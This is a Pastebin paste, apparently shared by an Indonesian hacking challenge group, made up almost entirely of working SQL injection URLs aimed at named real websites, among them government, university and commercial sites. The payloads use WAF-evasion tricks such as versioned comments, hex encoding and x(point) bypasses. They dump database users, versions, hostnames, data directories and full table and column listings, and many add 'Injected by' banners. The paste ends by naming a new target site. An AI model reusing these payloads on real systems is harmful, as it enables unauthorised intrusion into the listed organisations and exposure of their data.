MrRm19

Sooengs

May 11th, 2020
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 232.54 KB | None | 0 0
  1. Query : http://www.stoneystraps.com/products-details.php?id=-35%27 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,"Fansa~",19,sqlite_version(),21,22,23,24,25,26,27,28,29 from sqlite_master-- -
  2. Query : https://www.yarsi.ac.id/alumni/news.php?id=11%27 and .0Union-- -%0A%53elect 1,2,3,4,'Injected by Fansa',@@version,7,8,9,10,11,12,13,14,16,16,17,18,19,20,21,22,23,24,25,26,27,28,29,20,31,32,33,34--+
  3. Query : http://disperikanan.gresikkab.go.id/beritadetail.php?ID=22 and x(point(0,0)) /*!50000union*/ select 1,2,Concat('Injected by Fansa<br>',user/**x**/(),0x202f20,database/**x**/(),0x202f20,@@version),4,5,6,7-- -
  4. Solution : and x(point(0,0)) -- -
  5. http://pn-ciamis.go.id/beranda.php?page=berita_selengkapnya&kd_berita=.68 /*!50000union*/ /*!50000select*/ 1,2,3,concat/**_**/('<br>','<img src="https://vignette.wikia.nocookie.net/disney/images/0/03/Miguel-dante.png" height="200" width="200">','<br>','<font color="red"> Inject By Baim','</font>','<br>','<font color="red"> Version :: ',version/**_**/(),'</font>','<br>','<font color="red"> Database :: ',database/**_**/(),'</font>','<br>','<font color="red"> Port :: ',@@port,'</font>','<br>','</font>','<br>','<font color="red"> Hostname :: ',@@hostname,'</font>','<br>',(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/ (@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),5,6,7--+
  6. http://www.zixem.altervista.org/SQLi/lvl8.php?id=-1%0bunion%0bselSELECTect%0bconcat(0x4b686174756c697374697761203a3a3a20,version()),2,3%23
  7. https://www.gallery7.com/prod-details.php?code=713+and+false+union+select+1%2C2%2C3%2C4%2Cconcat%280x3c696d67207372633d2268747470733a2f2f65646d6c692e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031382f30342f363230783331302e6a7067222f3e20%2C0x496e6a6563746564206279206d33333769676874%2C0x3c62723e4d7953514c2056657273696f6e203a3a20%2Cversion%28%29%2C0x3c62723e43757272656e742055736572203a3a20%2Cuser%28%29%2C0x3c62723e506f7274203a20%2C%40%40port%2C0x3c62723e56657273696f6e203a20%2C%40%40version_compile_machine%2C0x3c62723e4f73203a20%2C%40%40version_compile_os%2C0x3c62723e4469726563746f7279203a20%2C%40%40datadir%2C0x3c62723e546d70203a20%2C%40%40tmpdir%2C0x3c62723e53796d6c696e6b203a20%2C%40%40GLOBAL.have_symlink%2C0x3c62723e53534c203a20%2C%40%40GLOBAL.have_ssl%29%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36--+
  8. My query : https://alumni.unud.ac.id/umum.php/?id=-2334%27%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x496e6a6563746564206279205448414e4f53,0x3c62723e,0x3c62723e,0x56657273696f6e203a3a20,version(),0x3c62723e,0x4461746162617365203a3a20,database(),0x3c62723e,0x4469726563746f7279203a3a20,@@datadir,0x3c62723e,0x486f73746e616d65203a3a20,@@hostname,0x3c62723e,0x55736572203a3a20,user(),(select(@a)+from+(select(@a:=0x00),(@tbl:=0x00),(select+(@a)+from+(information_schema.columns)+where+(table_schema!=0x696e666f726d6174696f6e5f736368656d61)+and(0x00)in+(@a:=concat(@a,0x3c62723e,if(+(@tbl!=table_name),Concat(0x3c62723e,0x5461626c65203a3a20,@tbl:=table_name,0x3c62723e7e20,column_name),concat(0x7e20,(column_name)))))))a)),NULL,NULL,NULL-- -
  9.  
  10. Erik Hutabarat : https://alumni.unud.ac.id/agenda.php?id=.48+union+select+1111%2C2222%2C3333%2C4444%2C5555%2C6666%2C0x496e6a65637433642042792048616e64736f6d6577617265%2Cgroup_concat%28user%28%29%2Cversion%28%29%2Cdatabase%28%29%2C%28select%28select+concat%28%40%3A%3D0xa7%2C%28select+count%28%2A%29from%28information_schema.columns%29where%28%40%3A%3Dconcat%28%40%2C0x3c6c693e%2Ctable_name%2C0x3a%2Ccolumn_name%29%29%29%2C%40%29%29%29%29--+-
  11.  
  12.  
  13. Aknanta : https://alumni.unud.ac.id/umum.php?id=-1%27+union+select+1111%2C2222%2C%2F%2A%2150000Concat%2A%2F%280x3c63656e7465723e3c666f6e74207374796c653d22636f6c6f723a677265656e3b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a65637465642062792053616e613c2f666f6e743e3c62723e3c696d672077696474683d22323430707822206865696768743d22323430707822207372633d2268747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f4444463572306d55514145456951492e6a7067223e%2C0x3c62723e%2C0x55534552202d3e+%2CUSER%28%29%2C0x3c62723e%2C0x4441544142415345202d3e+%2CDATABASE%28%29%2C0x3c62723e%2C0x56455253494f4e202d3e%2CVERSION%28%29%2C0x3c62723e%2C0x486f73746e616d65202d3e%2C%40%40HOSTNAME%2C0x3c62723e%2C0x506f7274202d3e%2C%40%40PORT%2C0x3c62723e%2C%28select%28%40x%29from%28select%28%40x%3A%3D0x00%29%2C%28select%280%29from%28information_schema.columns%29where%28table_schema%3Ddatabase%28%29%29and%280x00%29in%28%40x%3A%3Dconcat+%28%40x%2C0x3c62723e%2Ctable_name%2C0x203a3a20%2Ccolumn_name%29%29%29%29x%29%29%2C4444%2C5555--+-
  14.  
  15.  
  16.  
  17. Prostakov molchalin : https://alumni.unud.ac.id/umum.php?id=-3%27+union+select+1111%2CGrOup_ConCat%280x3c63656e7465723e%2C0x0a0a0a3c696d67207372633d2268747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e3a414e64394763524d546c2d4c595953686e474c4934423165656c6a335f5476714c5666533437455f54496d79543141574c577354544865522d7722206865696768743d22313530222077696474683d22313530223e%2C0x3c63656e7465723e%2C0x496e6a65637465642062792062335f7730726b%2C0x3c62723e%2C0x4461746162617365203a3a3a20%2Cdatabase%28%29%2C0x3c62723e%2C0x55736572203a3a3a20%2Cuser%28%29%2C0x3c62723e%2C0x56657273696f6e203a3a3a20%2Cversion%28%29%2C0x3c62723e%2C0x486f73746e616d65203a3a3a20%2C%40%40hostname%2C0x3c62723e%2C0x44617461204469726563746f7279203a3a3a20%2C%40%40datadir%2C0x3c62723e%2C0x506f7274203a3a3a20%2C%40%40port%2C0x3c62723e%2C0x3c62723e%2C%2F%2A%2112345make_set%2A%2F%286%2C%40%3A%3D0x0a%2C%28select%281%29%2F%2A%2112345from%2A%2F%28%2F%2A%2112345information_schema.columns%2A%2F%29where%40%3A%3Dmake_set%28511%2C%40%2C0x3c6c693e%2C%2F%2A%2112345table_name%2A%2F%2C%2F%2A%2112345column_name%2A%2F%29%29%2C%40%29%29%2C3333%2C4444%2C5555--+-
  18. QUERY : https://indiansuperstore.in/product_detail.php?id=-1986+UNION+SELECT+1,concat('<img src="https://img00.deviantart.net/c2db/i/2017/273/8/5/toga_himiko_by_fitz2013-dbp1khp.png" height="300" </img>','<br>','INJECTED BY RESIS-07','<br>',user(),'<br>',@@version,'<br>',@@hostname,'<br>',database()),3,4,5,6,7,8,9,10,11,12,13,14,15--+
  19. My Query :
  20.  
  21. http://www.nisshinkyo.org/search/college.php?id=.156 +UNION+ALL+SELECT+1,concat(0x496e6a65637420427920596f757273656c66,"<br>",version(),"<br>",user(),"<br>",database(),"<br>",@@hostname,"<br>",@@datadir),(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174+--+
  22.  
  23. Udje :
  24.  
  25. http://www.nisshinkyo.org/search/college.php?id=-156%20union%20select%201,group_concat(0x3c696d67207372633d2768747470733a2f2f696d6167652e6962622e636f2f6e78526d75792f69636f6e312e706e6727206865696768743d27313025272077696474683d313025273e,0x3c62723e3c666f6e7420636f6c6f723d233133304534363e3c623e2e3a3a20496e6a6563746564206279204d722e34723748753132203a3a2e3c2f623e,0x3c62723e56455253494f4e203a3a20,version(),0x3c62723e4441544142415345203a3a20,database(),0x3c62723e484f5354203a3a20,@@Hostname,0x3c62723e,(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3c62723e,table_name,0x3a,column_name))))a)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174--+-
  26.  
  27. Arif :
  28. http://www.nisshinkyo.org/search/college.php?id=-156+union+select+%201,Concat(0x3c63656e7465723e,0x3c696d67207372633d2268747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e3a414e64394763524d546c2d4c595953686e474c4934423165656c6a335f5476714c5666533437455f54496d79543141574c577354544865522d7722206865696768743d22323730222077696474683d22323530223e,0x496e6a65637465642062792062335f7730726b,0x3c62723e,0x3c62723e,database(),0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,@@datadir,0x3c62723e,@@hostname,0x3c62723e,0x3c62723e,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174--+-
  29.  
  30. Query w : http://www.microtek.com/products.php?KindID=6&ID=1 and x(point(0,0)) UNION SELECT 1,2,3,4,5,6,7,concat('Injected by Fansa<br>',user(),'<br>',@@version,'<br>',database()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70-- -
  31.  
  32. Nikolas : http://www.microtek.com/products.php?KindID=6&ID=1 and x(point(0,0)) union select 1,2,3,4,5,6,7,Concat('Injected By Hostketeer','<br>','Version :: ',version(),'<br>','Database :: ',database(),'<br>','User :: ',user(),'<br>',(select(@x)from(select(@x:=0x00),(select(0)From(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=CoNCaT(@x,'<br>',table_name,'::',column_name))))x)),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70-- -
  33.  
  34. Bayu : http://www.microtek.com/products.php?KindID=6&ID=1+limit+2%2C1+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%2C46%2C47%2C48%2C49%2C50%2C51%2C52%2C53%2C54%2C55%2C56%2C57%2C58%2C59%2C60%2C61%2C62%2C63%2C64%2C65%2C66%2Cconcat(%27</title>%27,0x496e6a6563746564206279204b686174756c697374697761,0x3c62723e,0x56657273696f6e203a3a3a20,version(),0x3c62723e,0x55736572203a3a3a20,user(),0x3c62723e,0x4461746162617365203a3a3a20,database(),0x3c62723e,0x3c62723e,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),68,69,70--+
  35.  
  36. Diwan : http://www.microtek.com/products.php?KindID=6&ID=1+And x(point(9,9))+UNION+SELECT 1,2,3,4,5,6,concat(0x496e6a6563746564206279202e2f57616e7a5f4944,'</br>',user(),'</br>',database(),'</br>',version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70--
  37.  
  38. Rio : http://www.microtek.com/products.php?KindID=6&ID=1 and x(point(0,0)) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,Concat('</title>','Injected By RHawkz404','<br>','Version :: ',version(),'<br>','Database :: ',database(),'<br>','User :: ',user(),'<br>',(SELECT GROUP_CONCAT(table_name,0x203a3a20,column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE())),68,69,70--
  39.  
  40. Revo : http://www.microtek.com/products.php?KindID=6&ID=1 =75=75 union select 1,2,3,4,5,6,CONCAT('Injected by R3V0',0x3c62723e,USER(),0x3c62723e,DATABASE(),0x3c62723e,VERSION()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70--
  41. https://jdih.anri.go.id/indexdev.php?pages=peraturan&id_peraturan=-444 /*!50000%55nion*/ /*!50000%53elect*/ 1,2,3,4,5,Concat%280x696e6a65637465642062792052335630,0x3c62723e,user/**x**/%28%29,0x3c62723e,database/**x**/%28%29,0x3c62723e,@@version,0x3c62723e,@@hostname,0x3c62723e,@@datadir,make_set%286,@:=0x20,%28/*!50000%53elect%281%29/*!50000from*/%28/*!50000information_schema*/.columns%29where@:=make_set%28511,@,0x3c6c693e,/*!50000table_name*/,/*!50000column_name*/%29%29,@%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42-- -
  42. https://jolemi.com/index.php?route=blog/article&article_id=74' having 0 union select 1,2,3,4,5,6,7,8,1,2,3,4,5,6,Concat('Injected By RHawkz404','<br>','Version :: ',version(),'<br>','Database :: ',database(),'<br>','User :: ',user(),'<br>',(SELECT GROUP_CONCAT(table_name,' :: ',column_name SEPARATOR '<br>') FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE())),8,1,2,3,4,5,6;%00
  43. https://jolemi.com/index.php?route=blog/article&article_id=-74%27+/*!50000UNION*/+ALL+/*!50000SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,/*!12345Concat*/(%27%3Cbr%3E%27,%27Inject%20By%20Cipuyz%27,%27%3Cbr%3E%27,%27Version%20::%20%27,version/**_**/(),%27%3Cbr%3E%27,%27Database%20::%20%27,database/**_**/(),%27%3Cbr%3E%27,%27%20Port%20::%20%27,@@port,%27%3Cbr%3E%27,%27%3C/font%3E%27,%27%3Cbr%3E%27,%27User%20::%20%27,user(),%27%3Cbr%3E%27,(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),14,15,16,17,18,19,20,21,22;%00
  44.  
  45.  
  46. https://jolemi.com/index.php?route=blog/article&article_id=.74' union select 1,2,3,4,5,6,7,8,9,10,11,1,2,3,Concat('Injected By Hostketeer','<br>','Version :: ',version(),'<br>','Database :: ',database(),'<br>','User :: ',user(),'<br>',(select(@x)from(select(@x:=0x00),(select(0)From(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=CoNCaT(@x,'<br>',table_name,'::',column_name))))x)),5,6,7,8,9,10,11;%00
  47.  
  48.  
  49. Thanks buat solvers .
  50. Semoaga yg lain bisa belajar
  51. My query : http://www.ukrimuniversity.ac.id/detail.php?kt=20&kn=-311%27%20/*!50000union*/%20/*!50000select*/%20null,null,null,null,null,null,null,null,/*!50000concat*/(0x222f3e3c2f696672616d653e3c63656e7465723e3c2f6469763e3c2f6469763e3c62723e3c62723e3c62723e3c62723e,0x496e6a6563746564204279202e2f4b6173616e746170,0x3c62723e,0x4461746162617365203a3a20,database(),0x3c62723e,0x5665727369203a3a20,version(),0x3c62723e,0x446972203a3a20%20,@@datadir,0x3c62723e,0x506f7274203a3a2020,@@port)--+
  52.  
  53. Query nikolas : http://www.ukrimuniversity.ac.id/­detail.php?kt=20&kn=.311 ' /*!50000union*/ select 1,2,3,1,2,Concat('Injected By Hostketeer','<br>','Version :: ',version(),'<br>','Database :: ',database(),'<br>'),7,8,9-- -
  54.  
  55. Query aknanta : http://www.ukrimuniversity.ac.id/­detail.php?kt=-20%27+%2F%2A%2150000UNION%2A%2F+ALL+SELECT+1111%2C2222%2C3333%2C44­44%2Cconcat (%27%3Cimg%20src=%22­https://pbs.twimg.com/media/­DDF5r0mUQAEEiQI.jpg%22%20width=%22240px%22%20height=%22240px%­22%3E%27,"<br>",'Injected By xSana','<br>',database(),'<br>',version(),'<br>',@@port),6666,7777,8888,9999--%20-&kn=311
  56.  
  57. Query henry thiago : http://www.ukrimuniversity.ac.id/­detail.php?kt=-1 ' /*!50000UNION*/ ALL /*!50000SELECT*/ 1111,2222,3333,4444,/*!50000Concat*/('Injected by Th!4g0','<br>','Database :: ',DATABASE(),'<br>','Version :: ',VERSION()),6666,77­77,8888,9999-- -&kn=468-Universitas­KristenImmanuel
  58. Query : http://www.frwebhost.com/index.php?page=berita&no=8' and false /*!50000Union*/ Select 1,2,3,4,5,6,/*!50000Concat*/(0x3c62723e,'Injected by Fansa',0x3c62723e,'USER :: ',user(),0x3c62723e,'DATABASE :: ',database(),0x3c62723e,'HOSTNAME :: ',@@hostname,0x3c62723e,'VERSION :: ',@@version,0x3c62723e,'PORT :: ',@@port,0x3c62723e,'DIR :: ',@@datadir,0x3c62723e,make_set(6,@:=0x20,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),8,9-- -
  59.  
  60.  
  61.  
  62. http://diskominfo.pesisirselatankab.go.id/berita
  63. post method:
  64. kata=%27 union select 1,2,3,concat('Injected by R3V0',0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- -&msp=1
  65.  
  66.  
  67. Lucifear Raquel Randovlsky
  68. https://jdih.cianjurkab.go.id/ViewPerbub.php?id=-396+union+select+1%2CConcat(0x3c43656e7465723e,0x6b656e746f7420627920466174757220616b61204b696e67205a657230,0x3c62723e,0x3c62723e,Version(),0x3c62723e,Database(),0x3c62723e,User(),@C:=0x3c62723e,If((Select+Count(*)+From+Information_Schema.Columns+Where+Table_Schema=Database()+And+@C:=Concat(@C,0x3c62723e,Table_Name,0x3a,0x3a,0x3a,0x3a,Column_Name)),0x3a,0x00),@C),3,4,5--+
  69. Cindy Yuvia
  70. https://jdih.cianjurkab.go.id/ViewPerbub.php?id=-396+union+select+1%2C2%2Cconcat(@c:=0x00,0x3c666f6e7420666163653d27436f7572696572204e6577272073697a653d27342720636f6c6f723d27726564273e5b2b5d3c623e3c666f6e7420636f6c6f723d22626c61636b223e496e6a65637465642042792035756c37373768306e36683035743c2f666f6e743e3c2f623e3c2f613e3c62723e,if((select%20count(*)%20from%20information_schema.columns%20where%20table_schema%20not%20like%200x696e666f726d6174696f6e5f736368656d61%20and%20@c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c),4,5--+
  71. Relarizky
  72. https://jdih.cianjurkab.go.id/ViewPerbub.php
  73. ?id=-396+and+@x:=(select group_concat(table_name,' : ',column_name,'<br>') from information_schema.columns WHERE table_schema=database())+union+select+1,@x,3,4,5--+
  74. https://jdih.cianjurkab.go.id/ViewPerbub.php?id=-396+union+select+1,2,3,4,5--+
  75.  
  76. === Write Up ===
  77. #IDChall
  78. #SQLChall
  79.  
  80. Mine :
  81. http://www.dysautonomiainternational.org/page.php?ID=.30+/**//*!12345UNION%20SELECT*//**/+1,2,concat/**_**/(%27<br>%27,%27<img%20src="https://edmli.com/wp-content/uploads/2018/04/620x310.jpg"%20height="300"%20width="300">%27,%27<br>%27,%27Injected%20By%20m337ight%27,%27</font>%27,%27<br>%27,%27Version%20::%20%27,version/**_**/(),%27</font>%27,%27<br>%27,%27Database%20::%20%27,database/**_**/(),%27</font>%27,%27<br>%27,%27Os%20::%20%27,@@version_compile_os,%27</font>%27,%27<br>%27,%27</font>%27,%27<br>%27,(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
  82.  
  83. Baim Kun :
  84. http://www.dysautonomiainternational.org/page.php?ID=-37%20/*!50000UnIoN*/%20/*!50000SeLeCt*/%201,2,concat/**_**/(%27%3Cbr%3E%27,%27%3Cimg%20src=%22https://vignette.wikia.nocookie.net/disney/images/0/03/Miguel-dante.png%22%20height=%22200%22%20width=%22200%22%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3E%20Inject%20By%20Baim%27,%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3E%20Version%20::%20%27,version/**_**/(),%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3E%20Database%20::%20%27,database/**_**/(),%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3E%20Port%20::%20%27,@@port,%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3E%20Hostname%20::%20%27,@@hostname,%27%3C/font%3E%27,%27%3Cbr%3E%27,(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
  85.  
  86. Owens Joko Prabowo :
  87. http://www.dysautonomiainternational.org/page.php?ID=-5+/*!12345union*/+/*!12345select*/+1,2,/*!50000CONCAT*/(%27<br>%27,%27<img%20src="http://www.bangladesherkhabor.net/resources/uploads/IMG-20180621-WA0099.jpg"%20height="200"%20width="200">%27,%27<br>%27,%27<font%20color="red">%20Injected%20By%20Mr.Zhydra145%27,%27</font>%27,%27<br>%27,%27<font%20color="green">%20Version%20::%20%27,version/**_**/(),%27</font>%27,%27<br>%27,%27<font%20color="green">%20Database%20::%20%27,database/**_**/(),%27</font>%27,%27<br>%27,%27<font%20color="green">%20User%20::%20%27,user/**_**/(),%27</font>%27,%27<br>%27,(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+
  88.  
  89. Aknanta :
  90. http://www.dysautonomiainternational.org/page.php?ID=-103+/*!50000UNION*/+ALL+SELECT+1,2,/*!50000Concat*/(0x3c63656e7465723e3c666f6e74207374796c653d22636f6c6f723a677265656e3b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a65637465642062792053616e613c2f666f6e743e3c62723e3c696d672077696474683d22323430707822206865696768743d22323430707822207372633d2268747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f4444463572306d55514145456951492e6a7067223e,0x3c62723e,0x55534552202d3e%20,USER(),0x3c62723e,0x4441544142415345202d3e%20,DATABASE(),0x3c62723e,0x56455253494f4e202d3e,VERSION(),0x3c62723e,0x486f73746e616d65202d3e,@@HOSTNAME,0x3c62723e,0x506f7274202d3e,@@PORT,0x3c62723e,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
  91.  
  92. Paw Paw :
  93. http://www.dysautonomiainternational.org/page.php?ID=.43+/*!50000UNION*/+/*!50000SELECT*/+1,2,concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3C696D67207372633D2268747470733A2F2F692E70696E696D672E636F6D2F6F726967696E616C732F32352F30382F64372F32353038643735613166633161653165373734366134396261633236663637322E6A7067222077696468743D22373022206865696768743D223730223E,0x3C62723E496E6A65637420427920506978656C2D436F6465))),0x3c62723e3c62723e,0x3C666F6E7420636F6C6F723D6F72616E67653E4D7953514C2056657273696F6E203A3A20,version(),0x7e20,@@version_comment,0x3C62723E506F7274203A3A20,@@port,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0)%20from(information_schema./**/columns)where(table_schema=database())%20and(0x00)in(@x:=Concat/*!(@x,%200x3c62723e,%20if(%20(@tbl!=table_name),%20Concat/*!(0x3C666F6E7420636F6C6F723D6F72616E67652073697A653D333E,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1,%202,%200x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203C666F6E7420636F6C6F723D626C75653E3A3A204461746162617365203A3A203C666F6E7420636F6C6F723D626C61636B3E28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e),%200x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
  94.  
  95. Rahmat Faisal Amin :
  96. http://www.dysautonomiainternational.org/page.php?ID=-5+/*!50000union*/+/*!50000select*/+1,2,/*!50000CONCAT*/(%27%3Cbr%3E%27,%27%3Cimg%20src=%22http://foogahsap.com/aw.jpg%22%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22gold%22%3E%20Injected%20By%20Z-I%20SLOW%27,%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22silver%22%3E%20Version%20::%20%27,version/**_**/(),%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22gold%22%3E%20Database%20::%20%27,database/**_**/(),%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22silver%22%3E%20User%20::%20%27,user/**_**/(),%27%3C/font%3E%27,%27%3Cbr%3E%27),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+
  97.  
  98.  
  99.  
  100. // Query SQLChall
  101.  
  102. Site : http://disnakertrans.jatengprov.go.id/
  103.  
